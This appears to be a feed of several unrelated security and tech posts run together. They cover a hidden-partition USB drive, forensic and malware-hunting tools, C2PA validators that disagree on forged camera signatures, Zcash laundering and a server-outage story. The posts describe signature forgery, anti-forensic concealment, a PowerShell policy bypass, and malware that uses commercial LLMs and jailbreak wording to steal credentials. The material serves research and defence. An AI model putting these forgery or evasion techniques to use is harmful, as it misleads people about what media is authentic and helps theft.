Sir Arthur Conan Doyle created one of the most beloved fictional detectives of all time in Sherlock Holmes, spawning countless novels, films, TV series, and so forth featuring the sleuth. Far fewer people know about the real-life inspiration for Holmes: a renowned surgeon at Scotland's University of Edinburgh named Joseph Bell, who taught Doyle when the author was still a young medical student. Bell is the subject of a new, eminently readable biography, Sleuth-Hound: The Case of the Real Sherlock Holmes, by medical historian Lindsey Fitzharris.

A noted science communicator with a fondness for the medically macabre, Fitzharris published a biography of Scottish surgical pioneer Joseph Lister, The Butchering Art, in 2017—a great, if occasionally grisly, read. She followed up with 2022’s  The Facemaker: A Visionary Surgeon’s Battle to Mend the Disfigured Soldiers of World War I, about a WWI surgeon named Harold Gillies who rebuilt the faces of injured soldiers.

In 2020, Fitzharris hosted a documentary for the Smithsonian Channel, The Curious Life and Death Of…, exploring famous deaths, ranging from drug lord Pablo Escobar to magician Harry Houdini. Fitzharris performed virtual autopsies, experimented with blood samples, interviewed witnesses, and conducted real-time demonstrations in hopes of gleaning fresh insights. And last year she and her husband, caricaturist Adrian Teal, collaborated on an illustrated children's book, Dead Ends! Flukes, Flops, and Failures that Sparked Medical Marvels.

Read full article

Comments

© BBC

Welcome back, aspiring cyberwarriors!

You may know that privacy laws aren’t respected everywhere. In some places you can be forced to decrypt your files, or worse, get accused of a violation just for having encryption. A VeraCrypt hidden volume helps with the first problem but not the second. That’s why the project developer built Phantomdrive.

Phantomdrive is a fully open source USB drive that shows up as an 8GB disk when you plug it in. The OS has no way to detect the rest of the storage. To unlock the hidden partition, you open a text file on the visible part of the drive, type password: YOURPASSWORDHERE and save it. The drive disconnects, remounts the hidden partition, and AES-256 handles the encryption and decryption on the fly.

Design

The hardware, firmware, and mechanical design are all open source. The developer built it around a small chip called the CH569, from the same company behind the CH340 USB-to-Serial chip you’ll find on most Arduino clones. It has USB3, SD/eMMC support, and a hardware AES block built in.

eMMC was too expensive due to AI-driven demand, so the developer went with an SD card instead. If someone tears the device apart they’ll find it, but everything on it is encrypted. The enclosure is sealed with epoxy, so any attempt to get inside means destroying it first. Once eMMC prices drop, a version using it will follow.

The board itself is simple. It’s a CH569 chip, a USB port, two buck converters, a firmware update button, an SD card, and some supporting components.

Cryptography

The developer verified encryption works through functional tests and ran it against OpenSSL’s AES implementation. Most of the GitHub issues that surfaced were AI-generated noise or already fixed bugs, with one real exception around AES-XTS covered below.

Key Derivation

A Key Derivation Function (KDF) turns your password into an encryption key. The naive approach is padding the password to 32 bytes and using it directly.

That’s weak. A precomputed table could crack it without even brute forcing. To fix that, Phantomdrive adds a unique salt per device.

With different salts, an attacker has to compute keys for each device separately, and you can’t swap the SD card between devices. You can read your salt like this:

udevadm info --query=property --name=/dev/sdc | grep ID_SERIAL_SHORT
ID_SERIAL_SHORT=Phantomdrive:34FC1FA7145467F7

So, 34FC1FA7145467F7 is the salt for this device, which you will need to recover the data if it ever fails. Save that value. You can also change the Phantomdrive name and the USB PID/VID in firmware if you want more stealth. On top of the salt, the KDF runs 100,000 rounds of SHA-256.

That adds about 3 seconds to unlock time, which is already at the limit of what the chip can handle. Argon2 isn’t an option since it needs too much memory. If you need stronger security, you can increase the round count, use a software encryption layer on top, or look for a different device.

AES Modes

AES is a block cipher that works on 16-byte chunks. Different modes turn it into a stream cipher.

AES-ECB is the naive approach, encrypting each block directly. The problem is that identical plaintext blocks produce identical ciphertext blocks, which leaks patterns. Attackers can also manipulate the ciphertext in predictable ways. Not good.

AES-CTR solves this by encrypting a counter and XORing the output with plaintext.

uint64_t i = 0;
while(i < len(ciphertext)) {
    ctr = aes_encrypt(i);
    ciphertext[i] = plaintext[i] ^ ctr
    i++;
}

The main risk with CTR is nonce reuse. If an attacker copies your ciphertext twice and can guess one version, they can recover the other. The developer gets around 9 MB/s write and 20 MB/s read with AES-CTR.

AES-XTS is the disk encryption standard and uses two keys. K1 protects the data, K2 generates a tweak per sector. 

Each 16-byte block gets its own adjustment (T0, T1… Tn), then blocks are encrypted one by one to produce the final ciphertext. 

It’s more secure but slower, around 6 MB/s write and 10 MB/s read on this hardware.

Firmware

The firmware is built on two open source libraries:

BSP: https://github.com/hydrausb3/wch-ch56x-lib

ISP: https://github.com/hydrausb3/wch-ch56x-isp

Password Snooping

The device doesn’t understand file systems. It just handles raw USB WRITE10/READ10 commands and passes them to the SD card. To detect the unlock password, the firmware scans every write for the string password: before passing data through.

void phantomdrive_snoop_write(uint8_t *buf, uint32_t len)
{
    const char *prefix = "password:";
    const size_t prefix_len = 9;
    uint32_t i;

    for (i = 0; i + prefix_len <= len; i++) {
        if (buf[i] != 'p')
            continue;
        if (memcmp(buf + i, prefix, prefix_len) != 0)
            continue;

        size_t pw_start = i + prefix_len;
        size_t pw_end = pw_start;
        while (pw_end < len && (pw_end - pw_start) < sizeof(pending_pw) &&
               buf[pw_end] != '\n' && buf[pw_end] != '\r' && buf[pw_end] != '\0')
            pw_end++;

        size_t pw_len = pw_end - pw_start;

        memcpy(pending_pw, buf + pw_start, pw_len);
        pending_pw_len = pw_len;

        memset(buf + i, 0, pw_end - i);
        return;
    }
}

Once the password is found, it gets copied into RAM and the buffer gets zeroed out so the password never touches the disk. Keep in mind, if you store a lot of data on the unencrypted partition and any of it contains the string password:, you could get a false match. If that’s a concern, you can change the trigger string in firmware or look for a different approach.

Video

The developer has also published a video, if you want to get into details of this project. 

Summary

Phantomdrive is an open source USB drive that shows up as a plain 8GB disk while hiding the rest of its storage. You unlock the hidden partition by saving a password in a text file on the visible disk. The firmware catches it in the raw write traffic, keeps it in RAM, and never writes it to disk. Encryption is AES-256 on a CH569 chip, with a per-device salt and 100,000 SHA-256 rounds for key derivation. It’s limited by the hardware, so it’s weaker than memory-hard options like Argon2.

If you want to go deeper into how privacy can be preserved on real systems and how forensic traces are created and analyzed, our Anti-Forensics training is your next step. We covered advanced techniques for preserving your privacy and understanding what investigators can still see even when you think you have covered your tracks.

The post Anti-Forensics: Building a Phantomdrive first appeared on Hackers Arise.

Welcome back, dear investigators!

Our main concern in cybersecurity is protecting systems and recovering from cyberattacks quickly. There are different tools out there built for this, and they keep evolving. Our job is to find what fits best in our environment and stick to the best practices laid out by NIST and ISO.

Today we’ll look at Live-Forensicator, a live response toolkit. The tool supports AI integration to process your findings more efficiently, which is a good thing since many of you know how tedious forensic analysis work can be. It’s optional though, and you can always rely on your own knowledge to verify findings.

Setting Up

Let’s download the archive with scripts and see what’s inside. You can find it here.

Live-Forensicator works on Windows, Linux, and macOS. We’ll be testing it on Windows here. Keep in mind, the tool gets flagged by AV because WinPmem, admin PS, and hash walks look suspicious. Use it only if you think it’s appropriate for your environment, or fall back to other tools since we’ve covered many of them on our website.

PS > powershell -ep bypass Forensicator.ps1 -USAGE

Running Scans

Let’s start with some general scans.

You can launch it without any flags and the tool will ask for details after you start it.

PS > .\Forensicator.ps1 

Or give it some case details upfront. They include the operator name, case ID, location and the device name.

PS > .\Forensicator.ps1 -OPERATOR "Jane Doe" -CASE "IR-2026-001" -TITLE "Workstation triage" -LOCATION "Toronto" -DEVICE "LAPTOP-042"

It’ll take some time to go through all the steps. You’ll see the progress on screen.

When the script finishes, the results get saved in the current folder inside a new directory. Go to reports and open index.html.

Here’s the overview page. You can scroll down and jump to different sections of the report.

Below is the Event Log summary with events sorted by category. We see that accounts successfully logged on (Event ID 4624), then someone looked up what groups certain users belong to (Event ID 4798) and the members of security groups were listed (Event ID 4799). Event ID 4688 logs process creation.

You also get a summary to assess the risks quickly. In our case it was high and the tool explained why.

Forensicator AI

AI is off by default. When it’s enabled, you get a plain language explanation of the results. For AI to work, you need Ollama running. The model can run locally or sit on a separate host accessible to other machines. Mistral AI models can be used for this work.

# Install Ollama (https://ollama.com) and pull a model
PS > ollama pull mistral:7b-instruct

Then edit the config.json file.

"ai": {
  "enabled": true,
  "provider": "ollama",
  "base_url": "http://localhost:11434",
  "model": "mistral:7b-instruct"
}

There’s no -AI flag. The script reads config.json at startup. When AI is on, each finding gets sent to the model after it’s built. If the model is down, the collection still finishes and that row just has no verdict. In the report, open a finding and use the tooltip labeled AI Analysis. Windows also builds an Investigation Summary with a risk score, a rough timeline, and next steps. This is just a briefing, so don’t treat it as the final verdict. Also, keep in mind that AI makes the run a lot slower since every finding is a real model call.

Here are some screenshots of AI analysis.

Summary

During an incident response time is of the essence, so swiftly scanning your hosts for signs of compromise will save you time. There are different situations and cases that require certain approaches, that’s why knowing how to work with different forensics tools is important. Having AI process your analysis results can be helpful, but it might take some time, unless you have a good GPU for it.

If you’re just getting started in forensics, we recommend our Digital Forensics training, where Master OTW walks you through the techniques to find evidence of criminal activity on a computer or network.

The post Digital Forensics: Analyzing Systems with Live-Forensicator first appeared on Hackers Arise.

TL;DR: Investigators have raised new concerns about stolen crypto flowing into Zcash, following earlier tracing of roughly 2,746 ZEC linked to the Bitget breach. Shielded transactions obscure details after entry, but do not prove that the underlying network has been compromised.

Privacy is a legitimate feature of cryptocurrency. It is also what makes Zcash a difficult destination for investigators trying to follow money stolen in a hack.

An October 17 warning from on-chain investigator Specter drew attention to reported flows tied to several crypto security incidents, including Bitget and other reported thefts. The warning follows a more detailed September 30 tracing of approximately 2,746 ZEC, then valued at about $3.9 million, entering Zcash’s Ironwood shielded pool from wallets linked by investigators to the Bitget attacker.

Before assets reach a shielded pool, analysts can sometimes identify funding wallets, transfers and swapping patterns on public chains. Once inside the pool, the usual visible trail becomes harder to follow because shielded transfers do not publicly reveal the same information about sender, recipient and amount.

That does not make Zcash’s cryptography broken. Nor does the appearance of suspect funds establish wrongdoing by every person who uses private transactions. It illustrates the longstanding tension between financial privacy and investigations into theft.

The precise combined total for flows from the newer incidents remains less firmly established than the earlier Bitget transactions. Estimates should not be lumped together without transaction-level verification, particularly when the same funds may move repeatedly through intermediaries.

What investigators are highlighting is a recurring tactic: thieves may leave clues before entering a privacy system, but tracing the subsequent path becomes substantially more difficult. For exchanges and forensic teams, the most useful intervention may happen before stolen assets disappear from public view.

When evaluating media provenance, the single most critical requirement is having consistent and repeatable results.

Imagine evidence presented in a courtroom: the prosecution presents a validation report claiming an image is real, while the defense presents a different validator showing it is fake. What is the jury supposed to think? If a judge admits both reports under Frye, Daubert, or Kumho standards, then the jury isn't just judging the media. The jury is forced to decide which software implementation to trust, undermining the goal of automated digital provenance. (Disclaimer: I am not an attorney and this is not a legal interpretation.)

Not every provenance validation solution is intended for legal use. Setting legal standards aside, consider the business implications. Companies often rely on partially-vetted heuristics to make important decisions. As an organization making critical decisions, would you rely on a solution that is designed to return contradictory findings? The wrong decision can result in customer complaints and damage your corporate reputation.

We could even consider a lower standard: social media. It's common to have online arguments and flame wars around contradicting opinions. However, when each side is backed by their own validation approach, it ends up increasing the divide rather than enabling a consensus.

This is the reality that has been provided to us from the Coalition for Content Provenance and Authenticity (C2PA). They have released a provenance solution that enables contradicting results. Moreover, they have backed it with a massive media blitz and widespread tech adoption.

Required Validation

In my previous blog entry, I walked through how different provenance solutions handle their verification workflows. Transport Layer Security (TLS, used by HTTPS) uses a strict, deterministic validation process (with only a small variation based on trust lists). Secure Evidence Attribution Label (SEAL) is only slightly more complex and has less variation. As long as you implement either protocol correctly, every validator should reach the exact same conclusion every single time.

C2PA takes the opposite approach. Its specifications rely on a complex workflow with explicit "optional" steps. Because these checks are optional, two fully spec-compliant validators can evaluate the exact same file and arrive at conflicting results. Moreover, users may never know which options the validator used.

(Click to see larger.)


In this workflow diagram, every red decision box highlights a step where optional parameters allow validators to diverge and produce conflicting outputs. The main issues are around which trust list is used (workflow steps 2 and 6), whether revocation is checked (steps 3, 7, 9, and 10), and how the timestamp is validated (steps 6, 7, and 9). This ambiguity-by-design in C2PA's workflow leads to two specific problems:

1. The specifications permit differences in validation behavior. This cannot be blamed on coding errors. Two validators can function properly and be fully compliant, and still reach conflicting results based on which options they choose to implement.


2. These differences can cause materially misleading conclusions about a file's trustworthiness. Users cannot reliably determine whether a file is authentic, AI-generated, edited, or trustworthy based on a validator's assessment. Even if every validator you test reaches the same conclusion, there could always be another validator that comes up with a different result.

Showing a workflow and claiming that a specification enables contradictory results is one thing, but proving it with real-world data is another. Throughout this post, I will walk through actual image files to demonstrate how C2PA's validation workflow breaks down in practice at each step.

Testing Methodology

To keep the comparison fair and comprehensive, I evaluated test images across a range of C2PA validators:

• Adobe Content Authenticity Inspect (https://contentauthenticity.adobe.com/inspect) is a "conforming product", which means that the implementation's details have been reviewed by C2PA and vetted against the specs.


• Verifieddit (verifieddit.com) from SanMarcSoft LLC is another conforming validator.


• CAI Verify (verify.contentauthenticity.org) is built and maintained directly by Adobe's Content Authenticity Initiative (CAI) using their official open-source JavaScript SDK. Ironically, despite being widely cited across CAI and C2PA publications, sharing development teams with Adobe Inspect (a conforming product), and using versions of the same JavaScript SDK, CAI Verify is not listed as a conforming product.


• IPTC Origin Verify (originverify.iptc.org) is provided by the International Press Telecommunication Council.


• C2PA.sh is provided by SSL.com, a commercial Certificate Authority and C2PA Trusted CA.


• Proofmode Verify (formerly "ProofCheck", check.proofmode.org) is provided by Proofmode, an early adopter of C2PA. Today, they have conforming generators for Android and iOS, but they are not listed as a conforming validator.


• Sony has a signature self checker that recognizes Sony's own C2PA signatures.

Along with the validators, I also used a wide range of pictures. Each picture is included in this blog. At any time, you can click on the picture to see the full-size file, save the file to your computer, and then upload it to any of these validators. (Don't take my word for it! Verify my findings and claims!)

While each of these platforms implement C2PA's solution, their outputs frequently disagree. Here is how that plays out in practice.

Picture/Validator	Flying Pug	Glitter Milk	Whack-a-Mole	Sheep	Bike	Protest	Voting	Sunset
Adobe Inspect	Trusted with timestamp, legacy warning	Trusted, from Google camera	Trusted, from Google camera	Trusted, from GreenCheckmark camera	Unrecognized, from Sony	Trusted, AI, with lots of metadata	Trusted, legacy warning	Trusted, from OpenAI
Verifieddit	Trusted, "Looks authentic"	Trusted, "Looks authentic"	Trusted, "Looks authentic"	Trusted, "Looks authentic"	Valid, not trusted	Invalid, untrusted signer, AI	Trusted, "Looks authentic"	Trusted, AI
CAI Verify	Trusted with timestamp, legacy warning	Trusted, from Google camera	Trusted, from Google camera	Trusted, from GreenCheckmark camera	Unrecognized issuer	Unrecognized issuer, AI, test certificate	Trusted, legacy warning	Trusted, from OpenAI
IPTC Verify	Trusted (on ITL), no timestamp	Verified by a trusted timestamp authority, Revoked by the issuing authority	Verified	Timestamp authority not on a trusted list, Revoked by the issuing authority	Not on a trusted list	Unknown signer, no timestamp, test certificate	Verified, IPTC and ITL	On C2PA trust list, Timestamp authority not on a trusted list
SSL.com's C2PA.sh	Untrusted (revoked)	Revoked	Verified, Trusted timestamp	Revoked, Unknown Timestamp Authority (but SSL.com is the timestamp authority!)	Untrusted (unknown signer and timestamp)	Untrusted (unknown signer, cannot validate timestamp)	Untrusted	Verified
Proofmode	Trusted with timestamp	Trusted with timestamp	Trusted with timestamp and GPS	Trusted, Uncertain camera (no make/model)	"Uncertain"	Valid, AI generated and from a camera	Trusted, from a camera	Trusted, AI, Edited, Uncertain camera
Sony	Trusted, incompatible timestamp	Trusted, incompatible timestamp	Trusted, incompatible timestamp	Trusted, incompatible timestamp	Trusted, incompatible timestamp	Trusted, incompatible timestamp	Trusted, incompatible timestamp	Unsupported

Although the C2PA specifications recommend how the user interface should report results, few tools follow those recommendations. Also keep in mind, everything with C2PA is dynamic. I did this test on 2026-10-12. If I did this same test 3 months ago, the results would have included a few different inconsistencies. (I'm sure that these vendors will see these results, make more changes without any coordination, and cause more contradictions.)

Example: Nikon and The Flying Pug

Click on the image to see the full size picture and save it for uploading to the validators.



This picture has a well-known history. In September 2025 (over a year ago), Nikon released C2PA for their Z6 III camera. Within days, researcher Adam Horshack figured out how to use this to sign any picture as if it came from the Nikon Z6 III. DP Review published details about the vulnerability. Literally the next day Nikon disabled their C2PA signing service, and they revoked their signing cert two weeks later.

If the validator checks for revocation, then it will report that the cert has been revoked. For example, c2pa.sh says that the image is "UNTRUSTED" because the certificate was revoked.



Unfortunately, as seen in the workflow, checking for revocation is optional. Neither conforming product (Verifieddit and Adobe Inspect) checks for revocation, so they report that the content is "Trusted". In fact, Verifieddit even adds, "The signature checks out and the source is one we recognise, so this photo appears to be a real, unedited capture."



Adobe Inspect has no banners or warnings about the picture being untrusted. At best, it has a small note that this picture from 2025 uses a "legacy version" of C2PA.



IPTC provides the only validator that says it checks multiple trust lists. They have teeny tiny icons with teeny tiny alert icons and on-hover text to identify which trust lists match the signature. Ignoring the poor usability aspect, identifying which trust list matched is a cool feature.



With the flying pug picture, first and third icons have tiny orange "!" symbols, indicating that the signature is not on the IPTC or C2PA trust lists. The second icon (a black-and-white squiggle box) has no tiny orange "!", indicating that it matched the ITL. IPTC also reports that there is no timestamp, even though Adobe Inspect shows a timestamp.

The CAI-managed Interim Trust List (ITL) was created as a temporary solution before C2PA had an official trust list. The ITL was officially frozen in January 2026. However, in March 2026, it was updated and the Nikon cert was removed. Since IPTC says Nikon is in the ITL, it means they are using a version before March 2026. In any case, IPTC doesn't notice that the certificate was revoked.

Personally, I find it hard to argue which is worse: accepting a revoked cert, or removing the cert from the trust list so you don't know if it was ever trusted. In either case, IPTC is using an older version of the 'frozen' ITL.

With this one picture, we have contradictions about whether it is valid or revoked, and if it has a timestamp or not.

Example: Google Pixel and Glitter Milk

A few months ago, I blogged about using the Google Pixel phone (a C2PA conforming product) to sign any picture. As an example, I used a picture of a unicorn cow being milked.



To their credit, Google revoked the signing cert shortly after my glitter-milk blog came out. They backdated the revocation to cover the entire certificate issuance range. Validators that do not check for revocation, such as Adobe Inspect, CAI Verify, and Verifieddit, all claim that it is a trusted picture from a Google Pixel camera, while validators that check for revocation (e.g., c2pa.sh and IPTC) say it is revoked.

Unfortunately, Google only revoked the specific signing cert attached to this picture. Since the Google Pixel uses a unique signing cert per picture, nothing stops me from immediately generating a new signing cert and signing more forgeries. Google can only revoke certs that they know about, so this becomes a game of whack-a-mole that Google can never win.



To demonstrate this, I created another picture showing Google playing a losing game of whack-a-mole. It is also signed by a Google Pixel camera (using certs from the same Pixel camera as glitter-milk). At the time of this writing, the whack-a-mole picture has not been revoked. If Google revokes it, then I can generate another (and another and another) version that is signed. I can easily generate them faster than Google can revoke them. Of course, that assumes Google knows about the forgery (they have no official reporting method) and you use a validator that checks for revocation (most don't because it is optional).


(When all you have is a hammer, everything looks like a whack-a-mole.)

Example: GreenCheckmark and Rainbow Sheep

Along with the glitter-milk picture, I created a picture using rainbow sheep. This picture was signed using GreenCheckmark (a conforming product). Although GreenCheckmark was notified before the blog came out, they only revoked it after the blog went public. The revocation date is 2026-08-26 18:16:06 GMT, even though the trusted timestamp says the picture was created on 2026-08-07 15:38:08 GMT (over 19 days earlier).



This time inconsistency becomes problematic. According to the C2PA documentation, validators can ignore revocation if there is a trusted timestamp and it is valid. As noted in 6.2.1. Revocation information and time-stamps (my bold for emphasis):

Attaching a time-stamp and freshness information to the signature allows validators to conclude the C2PA Manifest is still valid a) even if the signing credential has since expired or was revoked after signing time and b) without the need of an online query.

This introduces another potential inconsistency between validators. For example:

• All of the validators that do not check revocation say that the rainbow-sheep picture came from an Android and was signed by GreenCheckmark. No issues are found with the media.


• c2pa.sh notes that "the signing certificate (GreenCheckmark - Android) was revoked on 2026-08-26, after this file's claimed signing time, which nothing trustworthy confirms. Don't rely on this signer; the content itself may be unchanged. Reason given: keyCompromise."
  
  
  
  Within the world of Public Key Infrastructure (PKI; the use of public and private keys for signing), if a private key is reported as keyCompromise, then any signature made with that key -- regardless of the timestamp -- is fundamentally suspect because an attacker could have backdated or forged the signature prior to revocation discovery. However, C2PA's section 6.2.1 grants a loophole that permits revoked certificates. By allowing timestamps to override revocation, C2PA creates an incentive for attackers to timestamp forged manifests immediately.
  
  With this example, I cannot tell if c2pa.sh omits the optional specs section 6.2.1, doesn't like the timestamp signer, or doesn't include it on their trust list. It's worth noting that c2pa.sh is operated by SSL.com and the trusted timestamp was issued by SSL.com and is it listed as trustworthy on the ITL.


• IPTC says that the signing certificate was revoked and "Timestamp authority not on a trusted list". The timestamp authority that I used is SSL.com from the ITL. So while IPTC lists the ITL as one of the lists they trust (workflow step 2), they don't appear to use the trusted timestamp list from the ITL (workflow step 6). This contradiction means that the user doesn't know which lists the validator uses, even if the validator claims to use a specific list.
  
  

If IPTC or c2pa.sh used the complete ITL and followed specs section 6.2.1, then this picture would appear to be completely valid because it was revoked after the signed timestamp.



Example: Sony

C2PA does not require any specific certificate trust list. As noted in workflow steps 2 and 6, every validator can use their own trusted list. Sony is an example of a vendor that has defined their own certificate list: sony.pem.

I used Sony's service to download a set of keys and signed my own forgery as if it came from a Sony camera.



The validators from Adobe, CAI, Verifieddit, IPTC, and c2pa.sh do not use Sony's trusted list, so none find it trustworthy. At best, IPTC and Verifieddit both say that the crypto is valid, but the signers are unknown.



However, other validators report that the file is valid. For example, Proofmode Verify finds no problems with the file. It is signed by Sony and the timestamp is valid (because both signatures really are valid).



Sony's own signature self checker reports that the signing signature is valid, but they marked the timestamp as being "Incompatible".





Example: Enabling Propaganda

User 'bdcry' left a comment on my blog with a forgery he created:



This is a light-hearted example of how a forgery can be used for propaganda. According to Adobe Inspect (a conforming validator), this picture of a protest at the White House is valid AI from a Nikon COOLPIX 100 camera. Proofmode says it is verified, AI-generated, and from a camera. In contrast, CAI Verify, IPTC Verify, Verifieddit, and c2pa.sh do not recognize the signer.

With this example, bdcry demonstrates a wide range of metadata fields that can be injected into the file. With very little effort, the same forgery technique could be used to make it appear as a real photo, or make a real photo appear to be AI-generated.

It seems that bdcry has discovered a test certificate that Adobe accepts as valid, while Sony and Proofmode may not check certificates against any trust lists. Who knows what other hidden certificates are acceptable to different validators? This is why transparency around the trusted list (workflow steps 2 and 6) is incredibly important. A malicious user could easily create a realistic forgery and verify it using an accepting validator.



Consistently Inconsistent

These inconsistencies do not even require someone to maliciously manufacture an image. This picture of people voting comes from CBC/Radio-Canada. However, the link in their news report to "Learn more about this image" returns a 404 error, so the original provenance explanation is no longer accessible. The validators disagree on its trustworthiness: Verifieddit and Sony report it as trusted, Adobe Inspect and CAI Verify flag it as legacy, IPTC recognizes it through its trust lists, and c2pa.sh reports it as untrusted.



Similarly, I don't know who uploaded this sunset picture to FotoForensics, but it is signed by OpenAI. The signing cert is on C2PA's own trusted list, but the timestamp certificate is not. (I didn't do that; that's how OpenAI does it.) Verifieddit and c2pa.sh says it is fully trusted. IPTC doesn't trust the timestamp authority. Proofmode says the media is both AI-generated and edited. (I don't know how they came up with 'edited' based on the C2PA information.) Adobe Inspect and CAI Verify say the signature is valid, and silently ignore the timestamp because that's how their implementation responds when they don't recognize the timestamp's signature. There is no consistency.



In this blog entry, I have provided links to all of the source pictures as well as over a half-dozen validators, including some that are on the conforming products list. Feel free to try all of these pictures with all of these validators. You will not get a consistent result. With any C2PA-signed file, you can cherry pick your validator to make an argument for it being legitimate or fake.

With each of these examples, the cryptography is valid. I have never questioned C2PA's used of cryptography. However, forging the signing device, signing altered media as if it came from a device, and providing inconsistent interpretations of the C2PA information are not about the cryptography. This is a problem with the attribution and provenance trail; it's the signer and content that are unreliable. (As I often say: putting strong crypto from an unverified source over unvetted data does not make the data more trustworthy.)

C2PA is inconsonant by design. With TLS and SEAL, it doesn't matter which validator you use: a missing, unknown, or revoked signer is a hard-reject. In contrast, C2PA treats security-critical controls (trust list selection, timestamp validation, revocation, etc.) as soft warnings or optional states. This changes the security model from fail-closed (secure) to fail-open or indeterminate.

C2PA's solution was originally created as a "project whose mission is to develop technical specifications that can establish content provenance and authenticity at scale to give publishers, creators, and consumers the ability to trace the origin of media." By providing no consistent results related to trustworthiness, they have failed at this mission. This isn't merely a case of growing pains from an up-and-coming standard. C2PA explicitly permits optional validation decisions that can cause compliant implementations to reach different conclusions about the same file. The resulting inconsistencies aren't implementation bugs; they are the foreseeable outcomes from a bad design.

numbat monitors Claude Code, Codex and other AI coding agents and rebuilds their sessions. Tested on a staged session; its blocking is opt-in and narrow.

Welcome back, aspiring cyberwarriors!

Some of you have already seen the headlines about malware calling out to AI APIs. Recently, Talos found a Windows implant called CLOSEDQUORUM that leaves its tactical command and control decisions to a panel of commercial LLMs while the operator sleeps. Malware like that doesn’t leave the traces we’re used to hunting. Now you find prompt templates, provider endpoints, API key prefixes, jailbreak wording and sometimes text written to talk an AI sandbox out of flagging the file. Talos calls these cognitive artifacts and developers who wire an LLM into their tooling leave some behind.

What is CAIRN

Cisco Talos built a free research tool called CAIRN. The name is a metaphor. A cairn is a pile of stones hikers leave on a trail so the next person can see where to go. CAIRN looks for the same kind of marker inside malware that talks to AI. It works from metadata, which means you never download the sample and you never run it. Keep in mind, it needs a VirusTotal API. It sorts what it finds into three tiers, from a simple AI string match, to behavior and families. It also clusters samples that look alike even when they don’t share an obvious string. 

CAIRN is a research tool and not a live threat feed. It shows us where hackers are heading. 

Let’s set it up and cover some basic commands. 

Setting Up

We start by copying the repository and installing the python libraries.

kali > git clone https://github.com/Cisco-Talos/Cognitive-Artifact-Intelligence-Research-Network.git

kali > cd Cognitive-Artifact-Intelligence-Research-Network

kali > python -m venv .venv
kali > source .venv/bin/activate          

kali > pip install -e ".[dev]"

The env file needs VirusTotal API.

kali > cp .env.example .env
kali > nano .env

Once it’s there, you can start with some basic commands.

Basic Commands

The first thing we do is open the YARA file that ships with CAIRN and check that it is readable and put together the way the tool expects. If it prints a rule count and says the pack is valid, the rulers are loaded. You run it after install or after you edit a rule, so you know the next hunt will not fail because the rule file is broken.

kali > cairn validate-rules

Next we print the list of saved VirusTotal searches that come with CAIRN. We will use these names in the following command. The command only reads a config file on disk.

kali > cairn filters

Each name on that list is a hunt idea you can use, like Python files that mention an LLM library, or files that mention a hosted API.

kali > cairn pull --filter python-ai-scripts --limit 10

Next, you can summarize the findings. It reads only your database and tells you how many files you got and what rules were in use. 

kali > cairn summarize

We can then open the map.

kali > cairn explore

Here is how the clusters look like. Samples are grouped into clusters even when they share no obvious string overlap. These are semantic discoveries that analyze the meaning. 

Malware That Uses AI

Let’s take a look at the new developments in malware that were published by Cisco Talos. Their team was analyzing CLOSEDQUORUM.

They say it’s the first publicly documented Windows implant to apply this model to tactical command and control (C2). After it’s deployed, it uses AI models to decide what to do next and then executes their collective decision to harvest user credentials and crypto wallets. It doesn’t need a human to be ruling over the process, as the AI does everything. 

Traditional C2 architecture needs the hackers to have server infrastructure. That infrastructure is attributable and blockable. Instead of this, CLOSEDQUORUM calls up to four commercial LLM provider endpoints used by thousands of legitimate applications daily.

Here is how it looks decompiled. 

You see the providers, models and prompts. 

Hackers also may give detailed technical prompt templates. Here TARGET: %s is substituted at runtime. 

The response is then deserialized into a Go struct. 

Structure of the returned model’s decision.

Summary

Malware that calls out to AI is already here. There’s no server to attribute or block, since the traffic goes to provider endpoints that legitimate apps hit all day. Now we also hunt for cognitive artifacts like prompt templates, provider endpoints, API key prefixes and jailbreak wording. CAIRN helps with that by working from VirusTotal metadata, so you never download or run the sample. It groups findings by AI strings, behavior and families and clusters similar samples by meaning. It shows us where hackers are heading, and they’re heading toward AI doing the thinking for them.

If you like Malware Analysis and want to improve your skills in this field, sign up for our Reverse Engineering Malware training.

The post Malware Analysis: Analyzing AI-Backed Malware with CAIRN first appeared on Hackers Arise.

My websites kept going down for two or three minutes at a time, and then fixing themselves.

No pattern. No warning. By the time I logged in over SSH, the server looked perfectly healthy. Load was back to normal, PHP workers had exited, and there was nothing left to look at. Just a few angry messages from visitors and an uptime monitor saying the site was down at 3:41 AM.

This post is the story of how I chased that problem, the tool I ended up writing, and what it can do today. If your server randomly slows down and you can never catch it in the act, I think you will recognize a lot of this.

The tool is free and open source: Server Forensics Recorder on GitHub.

The problem: high load, almost no CPU usage

The first real clue I got was a load average of over 20 on a 4-core box, while the CPU was only about 3% busy.

That combination makes no sense if you think load means “CPU is busy”. It doesn’t. Load counts processes that are waiting as well as running. So my server was not working hard. It was stuck, with dozens of processes queued up behind something.

MariaDB looked fine. Apache was responsive. Memory was okay. The only odd thing was a pile of lsphp workers and a very high iowait number.

And every single time, by the time I got there, the evidence had already disappeared.

Why monitoring was not enough

I already ran Netdata, and I want to be clear: Netdata is great.

But monitoring answered a question I already knew the answer to. It told me that my server had a problem, at 3:41 AM, with a nice red graph. What I needed to know was why — which process was stuck, what it was waiting for, and who or what started it.

That’s a different job. Monitoring samples numbers for dashboards. I needed something that would grab deep evidence at the exact moment things went bad, and keep it for me to read in the morning.

So I thought about it like an aeroplane. A plane doesn’t just have gauges in the cockpit. It has a black box that records everything, so that after something goes wrong, you can go back and find out what happened.

That was the idea: a black box for my web server.

The first version was simple (and not very smart)

The plan was basic, and I kept it basic on purpose:

1. Every minute, take a cheap sample — load, CPU, memory, swap, PHP worker count, MariaDB threads, mail queue, TCP states, stuck processes. Almost all of it read from /proc, so it costs nothing.
2. If a number crosses a threshold, go into panic mode and capture the expensive stuff: full process tree, iostat, vmstat, open files, disk stats, kernel messages, MySQL process list.
3. Keep capturing until the server recovers, then write a summary and stop.

I had one hard rule from day one: the tool must never make an outage worse. A forensic recorder that hangs the server while trying to investigate it is useless. So everything runs with timeouts, the heavy commands only run during an incident, and package managers like dnf are detected but never invoked — calling one during a disk stall could block forever.

That first version worked. It caught incidents. And then it started confidently telling me things that were completely wrong.

Where it got interesting: every wrong answer taught me something

This is the part I actually want to share, because the tool only became useful after it was wrong a few times. I keep a file in the repo called docs/decisions.md listing every approach I had to throw away. Here are the ones worth telling.

Mistake 1: it blamed whatever was running

My early version scored causes by looking for process names. If it saw backup or security or maintenance processes in the list, it gave points to “maintenance activity”.

One incident got reported as “Maintenance (84%)”. It was nonsense. My server runs Imunify360, and those daemons are running 24 hours a day. Their presence during an incident tells you absolutely nothing. Worse, the tool had also matched its own timeout wrapper and counted that as evidence.

